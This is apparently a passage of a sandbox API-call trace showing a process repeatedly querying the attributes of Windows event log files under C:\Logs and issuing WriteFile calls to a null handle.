	[0083.239] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.239] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.239] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.240] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.240] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.295] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.295] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.295] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.295] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.295] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.295] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.357] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.358] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.358] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.358] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.359] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.359] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.359] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.359] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.359] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.359] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000)) returned 1
	[0083.360] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.360] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.360] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.360] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.360] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.360] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.360] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.361] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.411] VirtualAlloc (lpAddress=0xc000494000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000494000
	[0083.412] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.412] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.413] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.413] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.413] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.413] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.413] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.413] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.413] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.413] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.414] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.414] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.414] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.414] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.416] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.416] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.421] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.421] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.421] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.422] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.504] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.504] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.505] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.505] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.505] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.505] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.505] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.505] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.544] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0083.544] GetFileAttributesExW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000)) returned 1
	[0083.544] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
